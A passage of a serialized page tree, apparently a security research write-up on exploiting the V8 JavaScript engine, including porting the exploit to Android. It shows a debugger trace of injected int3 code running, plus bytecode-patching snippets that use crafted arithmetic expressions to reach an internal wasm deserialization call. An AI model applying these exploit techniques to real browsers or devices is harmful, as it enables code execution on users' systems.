:101,"props":138737,"children":138738},{"class":103,"line":1071},[138739,138743,138747,138751,138755,138759,138763,138767,138771,138775,138779,138783,138787,138791,138795,138799,138803,138807,138811,138815,138819,138823,138827,138831,138835,138839,138843,138847,138851,138855,138859,138863,138867,138872,138876,138880,138884,138889,138893,138898,138902,138907,138911,138915,138919,138924,138928,138932,138936,138941,138945,138949,138953,138958],{"type":22,"tag":101,"props":138740,"children":138741},{"style":1544},[138742],{"type":27,"value":137704},{"type":22,"tag":101,"props":138744,"children":138745},{"style":120},[138746],{"type":27,"value":758},{"type":22,"tag":101,"props":138748,"children":138749},{"style":1544},[138750],{"type":27,"value":8065},{"type":22,"tag":101,"props":138752,"children":138753},{"style":120},[138754],{"type":27,"value":758},{"type":22,"tag":101,"props":138756,"children":138757},{"style":1544},[138758],{"type":27,"value":8065},{"type":22,"tag":101,"props":138760,"children":138761},{"style":120},[138762],{"type":27,"value":758},{"type":22,"tag":101,"props":138764,"children":138765},{"style":1544},[138766],{"type":27,"value":8065},{"type":22,"tag":101,"props":138768,"children":138769},{"style":120},[138770],{"type":27,"value":758},{"type":22,"tag":101,"props":138772,"children":138773},{"style":1544},[138774],{"type":27,"value":8065},{"type":22,"tag":101,"props":138776,"children":138777},{"style":120},[138778],{"type":27,"value":758},{"type":22,"tag":101,"props":138780,"children":138781},{"style":1544},[138782],{"type":27,"value":8065},{"type":22,"tag":101,"props":138784,"children":138785},{"style":120},[138786],{"type":27,"value":758},{"type":22,"tag":101,"props":138788,"children":138789},{"style":1544},[138790],{"type":27,"value":8065},{"type":22,"tag":101,"props":138792,"children":138793},{"style":120},[138794],{"type":27,"value":758},{"type":22,"tag":101,"props":138796,"children":138797},{"style":1544},[138798],{"type":27,"value":8065},{"type":22,"tag":101,"props":138800,"children":138801},{"style":120},[138802],{"type":27,"value":758},{"type":22,"tag":101,"props":138804,"children":138805},{"style":1544},[138806],{"type":27,"value":8065},{"type":22,"tag":101,"props":138808,"children":138809},{"style":120},[138810],{"type":27,"value":758},{"type":22,"tag":101,"props":138812,"children":138813},{"style":1544},[138814],{"type":27,"value":8065},{"type":22,"tag":101,"props":138816,"children":138817},{"style":120},[138818],{"type":27,"value":758},{"type":22,"tag":101,"props":138820,"children":138821},{"style":1544},[138822],{"type":27,"value":8065},{"type":22,"tag":101,"props":138824,"children":138825},{"style":120},[138826],{"type":27,"value":758},{"type":22,"tag":101,"props":138828,"children":138829},{"style":1544},[138830],{"type":27,"value":8065},{"type":22,"tag":101,"props":138832,"children":138833},{"style":120},[138834],{"type":27,"value":758},{"type":22,"tag":101,"props":138836,"children":138837},{"style":1544},[138838],{"type":27,"value":8065},{"type":22,"tag":101,"props":138840,"children":138841},{"style":120},[138842],{"type":27,"value":758},{"type":22,"tag":101,"props":138844,"children":138845},{"style":1544},[138846],{"type":27,"value":8065},{"type":22,"tag":101,"props":138848,"children":138849},{"style":120},[138850],{"type":27,"value":758},{"type":22,"tag":101,"props":138852,"children":138853},{"style":1544},[138854],{"type":27,"value":8065},{"type":22,"tag":101,"props":138856,"children":138857},{"style":120},[138858],{"type":27,"value":758},{"type":22,"tag":101,"props":138860,"children":138861},{"style":1544},[138862],{"type":27,"value":7164},{"type":22,"tag":101,"props":138864,"children":138865},{"style":120},[138866],{"type":27,"value":758},{"type":22,"tag":101,"props":138868,"children":138869},{"style":1544},[138870],{"type":27,"value":138871},"204",{"type":22,"tag":101,"props":138873,"children":138874},{"style":120},[138875],{"type":27,"value":758},{"type":22,"tag":101,"props":138877,"children":138878},{"style":1544},[138879],{"type":27,"value":48774},{"type":22,"tag":101,"props":138881,"children":138882},{"style":120},[138883],{"type":27,"value":758},{"type":22,"tag":101,"props":138885,"children":138886},{"style":1544},[138887],{"type":27,"value":138888},"137",{"type":22,"tag":101,"props":138890,"children":138891},{"style":120},[138892],{"type":27,"value":758},{"type":22,"tag":101,"props":138894,"children":138895},{"style":1544},[138896],{"type":27,"value":138897},"229",{"type":22,"tag":101,"props":138899,"children":138900},{"style":120},[138901],{"type":27,"value":758},{"type":22,"tag":101,"props":138903,"children":138904},{"style":1544},[138905],{"type":27,"value":138906},"106",{"type":22,"tag":101,"props":138908,"children":138909},{"style":120},[138910],{"type":27,"value":758},{"type":22,"tag":101,"props":138912,"children":138913},{"style":1544},[138914],{"type":27,"value":8119},{"type":22,"tag":101,"props":138916,"children":138917},{"style":120},[138918],{"type":27,"value":758},{"type":22,"tag":101,"props":138920,"children":138921},{"style":1544},[138922],{"type":27,"value":138923},"86",{"type":22,"tag":101,"props":138925,"children":138926},{"style":120},[138927],{"type":27,"value":758},{"type":22,"tag":101,"props":138929,"children":138930},{"style":1544},[138931],{"type":27,"value":48774},{"type":22,"tag":101,"props":138933,"children":138934},{"style":120},[138935],{"type":27,"value":758},{"type":22,"tag":101,"props":138937,"children":138938},{"style":1544},[138939],{"type":27,"value":138940},"139",{"type":22,"tag":101,"props":138942,"children":138943},{"style":120},[138944],{"type":27,"value":758},{"type":22,"tag":101,"props":138946,"children":138947},{"style":1544},[138948],{"type":27,"value":138897},{"type":22,"tag":101,"props":138950,"children":138951},{"style":120},[138952],{"type":27,"value":758},{"type":22,"tag":101,"props":138954,"children":138955},{"style":1544},[138956],{"type":27,"value":138957},"93",{"type":22,"tag":101,"props":138959,"children":138960},{"style":120},[138961],{"type":27,"value":179},{"type":22,"tag":101,"props":138963,"children":138964},{"class":103,"line":1110},[138965,138970,138974,138978,138982,138986,138990,138994,138998,139002,139006,139010,139014,139018,139022,139026,139030,139034,139038,139042,139046,139050,139054,139058,139062,139066,139070,139074,139078,139082,139086,139090,139094,139098,139102,139106,139110,139114,139118,139122,139126,139130,139134,139138,139142,139146,139150,139154,139158,139162,139166,139170,139174,139178,139182,139186,139190,139194,139198,139202],{"type":22,"tag":101,"props":138966,"children":138967},{"style":1544},[138968],{"type":27,"value":138969}," 195",{"type":22,"tag":101,"props":138971,"children":138972},{"style":120},[138973],{"type":27,"value":758},{"type":22,"tag":101,"props":138975,"children":138976},{"style":1544},[138977],{"type":27,"value":48302},{"type":22,"tag":101,"props":138979,"children":138980},{"style":120},[138981],{"type":27,"value":758},{"type":22,"tag":101,"props":138983,"children":138984},{"style":1544},[138985],{"type":27,"value":63611},{"type":22,"tag":101,"props":138987,"children":138988},{"style":120},[138989],{"type":27,"value":758},{"type":22,"tag":101,"props":138991,"children":138992},{"style":1544},[138993],{"type":27,"value":100174},{"type":22,"tag":101,"props":138995,"children":138996},{"style":120},[138997],{"type":27,"value":758},{"type":22,"tag":101,"props":138999,"children":139000},{"style":1544},[139001],{"type":27,"value":8065},{"type":22,"tag":101,"props":139003,"children":139004},{"style":120},[139005],{"type":27,"value":758},{"type":22,"tag":101,"props":139007,"children":139008},{"style":1544},[139009],{"type":27,"value":21526},{"type":22,"tag":101,"props":139011,"children":139012},{"style":120},[139013],{"type":27,"value":758},{"type":22,"tag":101,"props":139015,"children":139016},{"style":1544},[139017],{"type":27,"value":8065},{"type":22,"tag":101,"props":139019,"children":139020},{"style":120},[139021],{"type":27,"value":758},{"type":22,"tag":101,"props":139023,"children":139024},{"style":1544},[139025],{"type":27,"value":8065},{"type":22,"tag":101,"props":139027,"children":139028},{"style":120},[139029],{"type":27,"value":758},{"type":22,"tag":101,"props":139031,"children":139032},{"style":1544},[139033],{"type":27,"value":8065},{"type":22,"tag":101,"props":139035,"children":139036},{"style":120},[139037],{"type":27,"value":758},{"type":22,"tag":101,"props":139039,"children":139040},{"style":1544},[139041],{"type":27,"value":8065},{"type":22,"tag":101,"props":139043,"children":139044},{"style":120},[139045],{"type":27,"value":758},{"type":22,"tag":101,"props":139047,"children":139048},{"style":1544},[139049],{"type":27,"value":8065},{"type":22,"tag":101,"props":139051,"children":139052},{"style":120},[139053],{"type":27,"value":758},{"type":22,"tag":101,"props":139055,"children":139056},{"style":1544},[139057],{"type":27,"value":8065},{"type":22,"tag":101,"props":139059,"children":139060},{"style":120},[139061],{"type":27,"value":758},{"type":22,"tag":101,"props":139063,"children":139064},{"style":1544},[139065],{"type":27,"value":8065},{"type":22,"tag":101,"props":139067,"children":139068},{"style":120},[139069],{"type":27,"value":758},{"type":22,"tag":101,"props":139071,"children":139072},{"style":1544},[139073],{"type":27,"value":8065},{"type":22,"tag":101,"props":139075,"children":139076},{"style":120},[139077],{"type":27,"value":758},{"type":22,"tag":101,"props":139079,"children":139080},{"style":1544},[139081],{"type":27,"value":21526},{"type":22,"tag":101,"props":139083,"children":139084},{"style":120},[139085],{"type":27,"value":758},{"type":22,"tag":101,"props":139087,"children":139088},{"style":1544},[139089],{"type":27,"value":8065},{"type":22,"tag":101,"props":139091,"children":139092},{"style":120},[139093],{"type":27,"value":758},{"type":22,"tag":101,"props":139095,"children":139096},{"style":1544},[139097],{"type":27,"value":8065},{"type":22,"tag":101,"props":139099,"children":139100},{"style":120},[139101],{"type":27,"value":758},{"type":22,"tag":101,"props":139103,"children":139104},{"style":1544},[139105],{"type":27,"value":8065},{"type":22,"tag":101,"props":139107,"children":139108},{"style":120},[139109],{"type":27,"value":758},{"type":22,"tag":101,"props":139111,"children":139112},{"style":1544},[139113],{"type":27,"value":8065},{"type":22,"tag":101,"props":139115,"children":139116},{"style":120},[139117],{"type":27,"value":758},{"type":22,"tag":101,"props":139119,"children":139120},{"style":1544},[139121],{"type":27,"value":8065},{"type":22,"tag":101,"props":139123,"children":139124},{"style":120},[139125],{"type":27,"value":758},{"type":22,"tag":101,"props":139127,"children":139128},{"style":1544},[139129],{"type":27,"value":8065},{"type":22,"tag":101,"props":139131,"children":139132},{"style":120},[139133],{"type":27,"value":758},{"type":22,"tag":101,"props":139135,"children":139136},{"style":1544},[139137],{"type":27,"value":8065},{"type":22,"tag":101,"props":139139,"children":139140},{"style":120},[139141],{"type":27,"value":758},{"type":22,"tag":101,"props":139143,"children":139144},{"style":1544},[139145],{"type":27,"value":8065},{"type":22,"tag":101,"props":139147,"children":139148},{"style":120},[139149],{"type":27,"value":758},{"type":22,"tag":101,"props":139151,"children":139152},{"style":1544},[139153],{"type":27,"value":8065},{"type":22,"tag":101,"props":139155,"children":139156},{"style":120},[139157],{"type":27,"value":758},{"type":22,"tag":101,"props":139159,"children":139160},{"style":1544},[139161],{"type":27,"value":8065},{"type":22,"tag":101,"props":139163,"children":139164},{"style":120},[139165],{"type":27,"value":758},{"type":22,"tag":101,"props":139167,"children":139168},{"style":1544},[139169],{"type":27,"value":8065},{"type":22,"tag":101,"props":139171,"children":139172},{"style":120},[139173],{"type":27,"value":758},{"type":22,"tag":101,"props":139175,"children":139176},{"style":1544},[139177],{"type":27,"value":8065},{"type":22,"tag":101,"props":139179,"children":139180},{"style":120},[139181],{"type":27,"value":758},{"type":22,"tag":101,"props":139183,"children":139184},{"style":1544},[139185],{"type":27,"value":8065},{"type":22,"tag":101,"props":139187,"children":139188},{"style":120},[139189],{"type":27,"value":758},{"type":22,"tag":101,"props":139191,"children":139192},{"style":1544},[139193],{"type":27,"value":8065},{"type":22,"tag":101,"props":139195,"children":139196},{"style":120},[139197],{"type":27,"value":758},{"type":22,"tag":101,"props":139199,"children":139200},{"style":1544},[139201],{"type":27,"value":8065},{"type":22,"tag":101,"props":139203,"children":139204},{"style":120},[139205],{"type":27,"value":179},{"type":22,"tag":101,"props":139207,"children":139208},{"class":103,"line":1118},[139209,139213,139217,139221,139225,139229,139233,139237,139241,139245,139249,139253,139257,139261,139265,139269,139273,139277,139281,139285,139289,139293,139297,139301,139305,139309,139313,139317,139321,139325,139329,139333,139337,139341,139345,139349,139353,139357,139361,139365,139369,139373,139377,139381,139385,139389,139393,139397,139401,139405,139409,139414,139418,139422],{"type":22,"tag":101,"props":139210,"children":139211},{"style":1544},[139212],{"type":27,"value":137704},{"type":22,"tag":101,"props":139214,"children":139215},{"style":120},[139216],{"type":27,"value":758},{"type":22,"tag":101,"props":139218,"children":139219},{"style":1544},[139220],{"type":27,"value":8065},{"type":22,"tag":101,"props":139222,"children":139223},{"style":120},[139224],{"type":27,"value":758},{"type":22,"tag":101,"props":139226,"children":139227},{"style":1544},[139228],{"type":27,"value":8065},{"type":22,"tag":101,"props":139230,"children":139231},{"style":120},[139232],{"type":27,"value":758},{"type":22,"tag":101,"props":139234,"children":139235},{"style":1544},[139236],{"type":27,"value":8065},{"type":22,"tag":101,"props":139238,"children":139239},{"style":120},[139240],{"type":27,"value":758},{"type":22,"tag":101,"props":139242,"children":139243},{"style":1544},[139244],{"type":27,"value":8065},{"type":22,"tag":101,"props":139246,"children":139247},{"style":120},[139248],{"type":27,"value":758},{"type":22,"tag":101,"props":139250,"children":139251},{"style":1544},[139252],{"type":27,"value":8065},{"type":22,"tag":101,"props":139254,"children":139255},{"style":120},[139256],{"type":27,"value":758},{"type":22,"tag":101,"props":139258,"children":139259},{"style":1544},[139260],{"type":27,"value":8065},{"type":22,"tag":101,"props":139262,"children":139263},{"style":120},[139264],{"type":27,"value":758},{"type":22,"tag":101,"props":139266,"children":139267},{"style":1544},[139268],{"type":27,"value":8065},{"type":22,"tag":101,"props":139270,"children":139271},{"style":120},[139272],{"type":27,"value":758},{"type":22,"tag":101,"props":139274,"children":139275},{"style":1544},[139276],{"type":27,"value":8065},{"type":22,"tag":101,"props":139278,"children":139279},{"style":120},[139280],{"type":27,"value":758},{"type":22,"tag":101,"props":139282,"children":139283},{"style":1544},[139284],{"type":27,"value":8065},{"type":22,"tag":101,"props":139286,"children":139287},{"style":120},[139288],{"type":27,"value":758},{"type":22,"tag":101,"props":139290,"children":139291},{"style":1544},[139292],{"type":27,"value":8065},{"type":22,"tag":101,"props":139294,"children":139295},{"style":120},[139296],{"type":27,"value":758},{"type":22,"tag":101,"props":139298,"children":139299},{"style":1544},[139300],{"type":27,"value":8065},{"type":22,"tag":101,"props":139302,"children":139303},{"style":120},[139304],{"type":27,"value":758},{"type":22,"tag":101,"props":139306,"children":139307},{"style":1544},[139308],{"type":27,"value":8065},{"type":22,"tag":101,"props":139310,"children":139311},{"style":120},[139312],{"type":27,"value":758},{"type":22,"tag":101,"props":139314,"children":139315},{"style":1544},[139316],{"type":27,"value":8065},{"type":22,"tag":101,"props":139318,"children":139319},{"style":120},[139320],{"type":27,"value":758},{"type":22,"tag":101,"props":139322,"children":139323},{"style":1544},[139324],{"type":27,"value":8065},{"type":22,"tag":101,"props":139326,"children":139327},{"style":120},[139328],{"type":27,"value":758},{"type":22,"tag":101,"props":139330,"children":139331},{"style":1544},[139332],{"type":27,"value":8065},{"type":22,"tag":101,"props":139334,"children":139335},{"style":120},[139336],{"type":27,"value":758},{"type":22,"tag":101,"props":139338,"children":139339},{"style":1544},[139340],{"type":27,"value":8065},{"type":22,"tag":101,"props":139342,"children":139343},{"style":120},[139344],{"type":27,"value":758},{"type":22,"tag":101,"props":139346,"children":139347},{"style":1544},[139348],{"type":27,"value":8065},{"type":22,"tag":101,"props":139350,"children":139351},{"style":120},[139352],{"type":27,"value":758},{"type":22,"tag":101,"props":139354,"children":139355},{"style":1544},[139356],{"type":27,"value":8065},{"type":22,"tag":101,"props":139358,"children":139359},{"style":120},[139360],{"type":27,"value":758},{"type":22,"tag":101,"props":139362,"children":139363},{"style":1544},[139364],{"type":27,"value":8065},{"type":22,"tag":101,"props":139366,"children":139367},{"style":120},[139368],{"type":27,"value":758},{"type":22,"tag":101,"props":139370,"children":139371},{"style":1544},[139372],{"type":27,"value":8065},{"type":22,"tag":101,"props":139374,"children":139375},{"style":120},[139376],{"type":27,"value":758},{"type":22,"tag":101,"props":139378,"children":139379},{"style":1544},[139380],{"type":27,"value":8065},{"type":22,"tag":101,"props":139382,"children":139383},{"style":120},[139384],{"type":27,"value":758},{"type":22,"tag":101,"props":139386,"children":139387},{"style":1544},[139388],{"type":27,"value":8065},{"type":22,"tag":101,"props":139390,"children":139391},{"style":120},[139392],{"type":27,"value":758},{"type":22,"tag":101,"props":139394,"children":139395},{"style":1544},[139396],{"type":27,"value":33421},{"type":22,"tag":101,"props":139398,"children":139399},{"style":120},[139400],{"type":27,"value":758},{"type":22,"tag":101,"props":139402,"children":139403},{"style":1544},[139404],{"type":27,"value":138957},{"type":22,"tag":101,"props":139406,"children":139407},{"style":120},[139408],{"type":27,"value":758},{"type":22,"tag":101,"props":139410,"children":139411},{"style":1544},[139412],{"type":27,"value":139413},"198",{"type":22,"tag":101,"props":139415,"children":139416},{"style":120},[139417],{"type":27,"value":758},{"type":22,"tag":101,"props":139419,"children":139420},{"style":1544},[139421],{"type":27,"value":8065},{"type":22,"tag":101,"props":139423,"children":139424},{"style":120},[139425],{"type":27,"value":179},{"type":22,"tag":101,"props":139427,"children":139428},{"class":103,"line":1158},[139429],{"type":22,"tag":101,"props":139430,"children":139431},{"style":120},[139432],{"type":27,"value":137991},{"type":22,"tag":101,"props":139434,"children":139435},{"class":103,"line":1166},[139436,139440,139445,139449,139454,139458,139462,139466,139470,139474,139478],{"type":22,"tag":101,"props":139437,"children":139438},{"style":108},[139439],{"type":27,"value":11865},{"type":22,"tag":101,"props":139441,"children":139442},{"style":126},[139443],{"type":27,"value":139444}," r",{"type":22,"tag":101,"props":139446,"children":139447},{"style":166},[139448],{"type":27,"value":960},{"type":22,"tag":101,"props":139450,"children":139451},{"style":926},[139452],{"type":27,"value":139453}," bug",{"type":22,"tag":101,"props":139455,"children":139456},{"style":120},[139457],{"type":27,"value":980},{"type":22,"tag":101,"props":139459,"children":139460},{"style":126},[139461],{"type":27,"value":137322},{"type":22,"tag":101,"props":139463,"children":139464},{"style":120},[139465],{"type":27,"value":758},{"type":22,"tag":101,"props":139467,"children":139468},{"style":126},[139469],{"type":27,"value":128649},{"type":22,"tag":101,"props":139471,"children":139472},{"style":120},[139473],{"type":27,"value":231},{"type":22,"tag":101,"props":139475,"children":139476},{"style":126},[139477],{"type":27,"value":128649},{"type":22,"tag":101,"props":139479,"children":139480},{"style":120},[139481],{"type":27,"value":994},{"type":22,"tag":101,"props":139483,"children":139484},{"class":103,"line":1215},[139485,139490,139494,139498,139502,139506,139510,139514,139519,139523],{"type":22,"tag":101,"props":139486,"children":139487},{"style":126},[139488],{"type":27,"value":139489}," result",{"type":22,"tag":101,"props":139491,"children":139492},{"style":166},[139493],{"type":27,"value":960},{"type":22,"tag":101,"props":139495,"children":139496},{"style":120},[139497],{"type":27,"value":3603},{"type":22,"tag":101,"props":139499,"children":139500},{"style":3595},[139501],{"type":27,"value":36912},{"type":22,"tag":101,"props":139503,"children":139504},{"style":126},[139505],{"type":27,"value":139444},{"type":22,"tag":101,"props":139507,"children":139508},{"style":120},[139509],{"type":27,"value":231},{"type":22,"tag":101,"props":139511,"children":139512},{"style":926},[139513],{"type":27,"value":61562},{"type":22,"tag":101,"props":139515,"children":139516},{"style":120},[139517],{"type":27,"value":139518},"()).",{"type":22,"tag":101,"props":139520,"children":139521},{"style":126},[139522],{"type":27,"value":43146},{"type":22,"tag":101,"props":139524,"children":139525},{"style":120},[139526],{"type":27,"value":1520},{"type":22,"tag":101,"props":139528,"children":139529},{"class":103,"line":2425},[139530,139534,139539,139543,139547,139551,139555,139559,139563,139567],{"type":22,"tag":101,"props":139531,"children":139532},{"style":108},[139533],{"type":27,"value":40185},{"type":22,"tag":101,"props":139535,"children":139536},{"style":126},[139537],{"type":27,"value":139538}," wasm_instance",{"type":22,"tag":101,"props":139540,"children":139541},{"style":166},[139542],{"type":27,"value":960},{"type":22,"tag":101,"props":139544,"children":139545},{"style":108},[139546],{"type":27,"value":35929},{"type":22,"tag":101,"props":139548,"children":139549},{"style":126},[139550],{"type":27,"value":137305},{"type":22,"tag":101,"props":139552,"children":139553},{"style":120},[139554],{"type":27,"value":231},{"type":22,"tag":101,"props":139556,"children":139557},{"style":926},[139558],{"type":27,"value":137359},{"type":22,"tag":101,"props":139560,"children":139561},{"style":120},[139562],{"type":27,"value":980},{"type":22,"tag":101,"props":139564,"children":139565},{"style":126},[139566],{"type":27,"value":13090},{"type":22,"tag":101,"props":139568,"children":139569},{"style":120},[139570],{"type":27,"value":994},{"type":22,"tag":101,"props":139572,"children":139573},{"class":103,"line":5417},[139574,139578,139582,139586,139590,139594,139598,139602,139606],{"type":22,"tag":101,"props":139575,"children":139576},{"style":108},[139577],{"type":27,"value":40185},{"type":22,"tag":101,"props":139579,"children":139580},{"style":126},[139581],{"type":27,"value":36967},{"type":22,"tag":101,"props":139583,"children":139584},{"style":166},[139585],{"type":27,"value":960},{"type":22,"tag":101,"props":139587,"children":139588},{"style":126},[139589],{"type":27,"value":139538},{"type":22,"tag":101,"props":139591,"children":139592},{"style":120},[139593],{"type":27,"value":231},{"type":22,"tag":101,"props":139595,"children":139596},{"style":126},[139597],{"type":27,"value":41882},{"type":22,"tag":101,"props":139599,"children":139600},{"style":120},[139601],{"type":27,"value":231},{"type":22,"tag":101,"props":139603,"children":139604},{"style":126},[139605],{"type":27,"value":137408},{"type":22,"tag":101,"props":139607,"children":139608},{"style":120},[139609],{"type":27,"value":1520},{"type":22,"tag":101,"props":139611,"children":139612},{"class":103,"line":7714},[139613,139618],{"type":22,"tag":101,"props":139614,"children":139615},{"style":926},[139616],{"type":27,"value":139617}," f",{"type":22,"tag":101,"props":139619,"children":139620},{"style":120},[139621],{"type":27,"value":934},{"type":22,"tag":101,"props":139623,"children":139624},{"class":103,"line":7723},[139625],{"type":22,"tag":101,"props":139626,"children":139627},{"style":120},[139628],{"type":27,"value":105492},{"type":22,"tag":23,"props":139630,"children":139631},{},[139632],{"type":27,"value":139633},"Running this in a debugger shows the expected breakpoint:",{"type":22,"tag":91,"props":139635,"children":139637},{"code":139636},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[139638],{"type":22,"tag":30,"props":139639,"children":139640},{"__ignoreMap":7},[139641],{"type":27,"value":139636},{"type":22,"tag":1760,"props":139643,"children":139645},{"id":139644},"porting-to-android",[139646],{"type":27,"value":139647},"Porting to Android",{"type":22,"tag":23,"props":139649,"children":139650},{},[139651,139653,139658,139660,139665,139667,139672,139674,139680],{"type":27,"value":139652},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":22,"tag":30,"props":139654,"children":139656},{"className":139655},[],[139657],{"type":27,"value":136437},{"type":27,"value":139659}," fails. We cross-compiled ",{"type":22,"tag":30,"props":139661,"children":139663},{"className":139662},[],[139664],{"type":27,"value":135596},{"type":27,"value":139666}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":22,"tag":30,"props":139668,"children":139670},{"className":139669},[],[139671],{"type":27,"value":136437},{"type":27,"value":139673}," returned ",{"type":22,"tag":30,"props":139675,"children":139677},{"className":139676},[],[139678],{"type":27,"value":139679},"undefined",{"type":27,"value":231},{"type":22,"tag":23,"props":139682,"children":139683},{},[139684,139686,139691,139693,139698],{"type":27,"value":139685},"Instead, we modified the bytecode to call ",{"type":22,"tag":30,"props":139687,"children":139689},{"className":139688},[],[139690],{"type":27,"value":136463},{"type":27,"value":139692}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":22,"tag":30,"props":139694,"children":139696},{"className":139695},[],[139697],{"type":27,"value":136437},{"type":27,"value":231},{"type":22,"tag":91,"props":139700,"children":139702},{"code":139701,"language":39612,"meta":7,"className":39610,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[139703],{"type":22,"tag":30,"props":139704,"children":139705},{"__ignoreMap":7},[139706,139717,139761,139781,139797,139820,139847,139862],{"type":22,"tag":101,"props":139707,"children":139708},{"class":103,"line":104},[139709,139713],{"type":22,"tag":101,"props":139710,"children":139711},{"style":3595},[139712],{"type":27,"value":52328},{"type":22,"tag":101,"props":139714,"children":139715},{"style":120},[139716],{"type":27,"value":154},{"type":22,"tag":101,"props":139718,"children":139719},{"class":103,"line":157},[139720,139724,139728,139732,139736,139740,139744,139749,139753,139757],{"type":22,"tag":101,"props":139721,"children":139722},{"style":126},[139723],{"type":27,"value":136704},{"type":22,"tag":101,"props":139725,"children":139726},{"style":120},[139727],{"type":27,"value":80125},{"type":22,"tag":101,"props":139729,"children":139730},{"style":6476},[139731],{"type":27,"value":136713},{"type":22,"tag":101,"props":139733,"children":139734},{"style":120},[139735],{"type":27,"value":231},{"type":22,"tag":101,"props":139737,"children":139738},{"style":926},[139739],{"type":27,"value":136722},{"type":22,"tag":101,"props":139741,"children":139742},{"style":120},[139743],{"type":27,"value":980},{"type":22,"tag":101,"props":139745,"children":139746},{"style":1544},[139747],{"type":27,"value":139748},"0x059301",{"type":22,"tag":101,"props":139750,"children":139751},{"style":166},[139752],{"type":27,"value":55251},{"type":22,"tag":101,"props":139754,"children":139755},{"style":1544},[139756],{"type":27,"value":3648},{"type":22,"tag":101,"props":139758,"children":139759},{"style":120},[139760],{"type":27,"value":136744},{"type":22,"tag":101,"props":139762,"children":139763},{"class":103,"line":182},[139764,139768,139772,139777],{"type":22,"tag":101,"props":139765,"children":139766},{"style":126},[139767],{"type":27,"value":136752},{"type":22,"tag":101,"props":139769,"children":139770},{"style":166},[139771],{"type":27,"value":3643},{"type":22,"tag":101,"props":139773,"children":139774},{"style":1544},[139775],{"type":27,"value":139776}," 0x03027a6c",{"type":22,"tag":101,"props":139778,"children":139779},{"style":120},[139780],{"type":27,"value":1520},{"type":22,"tag":101,"props":139782,"children":139783},{"class":103,"line":367},[139784,139788,139793],{"type":22,"tag":101,"props":139785,"children":139786},{"style":3595},[139787],{"type":27,"value":39198},{"type":22,"tag":101,"props":139789,"children":139790},{"style":1544},[139791],{"type":27,"value":139792}," 0x393e71a",{"type":22,"tag":101,"props":139794,"children":139795},{"style":120},[139796],{"type":27,"value":1520},{"type":22,"tag":101,"props":139798,"children":139799},{"class":103,"line":398},[139800,139804,139808,139812,139816],{"type":22,"tag":101,"props":139801,"children":139802},{"style":120},[139803],{"type":27,"value":50870},{"type":22,"tag":101,"props":139805,"children":139806},{"style":3595},[139807],{"type":27,"value":52408},{"type":22,"tag":101,"props":139809,"children":139810},{"style":120},[139811],{"type":27,"value":3603},{"type":22,"tag":101,"props":139813,"children":139814},{"style":126},[139815],{"type":27,"value":55450},{"type":22,"tag":101,"props":139817,"children":139818},{"style":120},[139819],{"type":27,"value":1463},{"type":22,"tag":101,"props":139821,"children":139822},{"class":103,"line":428},[139823,139827,139831,139835,139839,139843],{"type":22,"tag":101,"props":139824,"children":139825},{"style":126},[139826],{"type":27,"value":105451},{"type":22,"tag":101,"props":139828,"children":139829},{"style":120},[139830],{"type":27,"value":231},{"type":22,"tag":101,"props":139832,"children":139833},{"style":926},[139834],{"type":27,"value":105460},{"type":22,"tag":101,"props":139836,"children":139837},{"style":120},[139838],{"type":27,"value":980},{"type":22,"tag":101,"props":139840,"children":139841},{"style":6476},[139842],{"type":27,"value":136828},{"type":22,"tag":101,"props":139844,"children":139845},{"style":120},[139846],{"type":27,"value":994},{"type":22,"tag":101,"props":139848,"children":139849},{"class":103,"line":997},[139850,139854,139858],{"type":22,"tag":101,"props":139851,"children":139852},{"style":3595},[139853],{"type":27,"value":136840},{"type":22,"tag":101,"props":139855,"children":139856},{"style":126},[139857],{"type":27,"value":136845},{"type":22,"tag":101,"props":139859,"children":139860},{"style":120},[139861],{"type":27,"value":1520},{"type":22,"tag":101,"props":139863,"children":139864},{"class":103,"line":1032},[139865],{"type":22,"tag":101,"props":139866,"children":139867},{"style":120},[139868],{"type":27,"value":188},{"type":22,"tag":23,"props":139870,"children":139871},{},[139872,139874,139880,139882,139888,139890,139896,139898,139903,139905,139911,139913,139918,139919,139925],{"type":27,"value":139873},"Here, ",{"type":22,"tag":30,"props":139875,"children":139877},{"className":139876},[],[139878],{"type":27,"value":139879},"a1 + 0x03027a6c",{"type":27,"value":139881}," generates the bytes ",{"type":22,"tag":30,"props":139883,"children":139885},{"className":139884},[],[139886],{"type":27,"value":139887},"01 4b 6c 7a 02 03",{"type":27,"value":139889},", where ",{"type":22,"tag":30,"props":139891,"children":139893},{"className":139892},[],[139894],{"type":27,"value":139895},"0x6c",{"type":27,"value":139897}," is the ",{"type":22,"tag":30,"props":139899,"children":139901},{"className":139900},[],[139902],{"type":27,"value":136421},{"type":27,"value":139904}," opcode, ",{"type":22,"tag":30,"props":139906,"children":139908},{"className":139907},[],[139909],{"type":27,"value":139910},"0x027a",{"type":27,"value":139912}," is the function ID of ",{"type":22,"tag":30,"props":139914,"children":139916},{"className":139915},[],[139917],{"type":27,"value":136463},{"type":27,"value":10515},{"type":22,"tag":30,"props":139920,"children":139922},{"className":139921},[],[139923],{"type":27,"value":139924},"0x03",{"type":27,"value":139926}," is the register index holding its first argument.",{"type":22,"tag":23,"props":139928,"children":139929},{},[139930,139932,139937,139938,139943,139945,139950],{"type":27,"value":139931},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":22,"tag":30,"props":139933,"children":139935},{"className":139934},[],[139936],{"type":27,"value":136463},{"type":27,"value":209},{"type":22,"tag":30,"props":139939,"children":139941},{"className":139940},[],[139942],{"type":27,"value":137431},{"type":27,"value":139944},". To avoid patching the bytecode again to invoke ",{"type":22,"tag":30,"props":139946,"children":139948},{"className":139947},[],[139949],{"type":27,"value":137431},{"type":27,"value":139951},", we can force Turbofan to compile the target function like this:",{"type":22,"tag":91,"props":139953,"children":139955},{"code":139954,"language":39612,"meta":7,"className":39610,"style":7},"// %WasmTierUpFunction(func);\nfor (let 